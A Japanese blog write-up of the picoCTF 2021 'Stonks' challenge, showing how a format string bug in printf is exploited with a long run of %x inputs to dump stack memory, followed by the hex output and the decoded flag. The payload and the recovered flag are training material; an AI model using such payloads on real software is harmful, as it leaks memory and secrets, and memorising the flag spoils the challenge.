【picogym】Stonks WriteUP【picoCTF2021】

問題カテゴリ

  • Binary Exploitation

問題を理解

I decided to try something noone else has before.
I made a bot to automatically trade stonks for me using AI and machine learning.
I wouldn’t believe you if you told me it’s unsecure! vuln.c nc mercury.picoctf.net 59616

  • stonksは株のスラングらしい。
  • アクセスするとvuln.cが実行されるぽい。

脆弱性を見つける

操作してみる。

  • とりあえず、アクセスして操作はしてみたけど特にわからず。
  • APItokenを入力するところで何かするんだろうなというところ。

コードから脆弱性を探す。

Cは読めないので、ChatGPTに聞くと以下回答でした。

  • 超ざっくり現象(C知らなくてもOK)

    • printf("%s", data) が正しい使い方。

    • でもバグコードは printf(data)(= 入力を書式そのものとして解釈)。

    • すると、あなたの入力に含めた%s%xなどが**「メモリから勝手に値を拾って表示」**する挙動になり、**機密(フラグ)**が漏れる。

  • どんな問題か
    • アプリがあなたの入力をそのまま printf(入力); に渡してしまうフォーマット文字列脆弱性の問題。

    • プログラムはフラグ(picoCTF{...})を一度メモリに読み込みます。脆弱性を使ってメモリの中身を覗く/取り出すのが目的。

その脆弱性で何ができるか考える

何ができるかもよくわからないので何ができるのかも聞いてみました。

  • %xで「生ダンプ」→ 逆順(LE)で復元
    • %x は「数値を16進で表示」。スタック上のワード(4バイト)を生で覗ける。

    • x86系はリトルエンディアンなので、4バイトを逆順に読むとASCIIになる。

      • 例:6f636970 はバイト逆順で 70 69 63 6f"pico"

  • API入力のところでx%をたくさん打つとメモリ情報が入手できる。
    • %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x

  • 16進数の羅列が得られる。
    • 9c023f0804b00080489c3f7f05d80ffffffff19c00160f7f13110f7f05dc709c0118029c023d09c023f06f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e3834313634356562ffe0007df7f40af8f7f134403541f30010f7da2ce9f7f140c0f7f055c0f7f05000ffe06a08f7d9368df7f055c08048ecaffe06a140f7f27f09804b000f7f05000f7f05e20ffe06a48f7f2dd50f7f068903541f300f7f05000804b000ffe06a488048c869c00160ffe06a34ffe06a488048be9f7f053fc0ffe06afcffe06af4119c001603541f300ffe06a6000f7d48fa1f7f05000f7f050000f7d48fa11ffe06af4ffe06afcffe06a8410f7f05000f7f2870af7f400000f7f0500000ad1774bcc4dd72ac000180486300f7f2dd50f7f28960804b00018048630080486628048b851ffe06af48048cd08048d30f7f28960ffe06aecf7f409401ffe06e760ffe06eafffe06ebcffe06ec5ffe06ef4
  • 16進数なので文字列に変換してみる。
    • 一部フラグっぽいものがある。
    • ocip{FTC0l_I4_t5m_ll0m_y_y3n841645ebÿœ}
  • picoCTF{}のフォーマットからして、4文字ずつの順番が逆っぽいので直す。
    • picoCTF{I_lo5t_4ll_my_m0n3y_6148be54}

感想

binaryはあんまりピンとこなかった。
とりあえずガチャガチャやったら数字が出たのでガチャガチャ変換したという感じ。
謎解き感ありました。

CTF

Posted by tyokio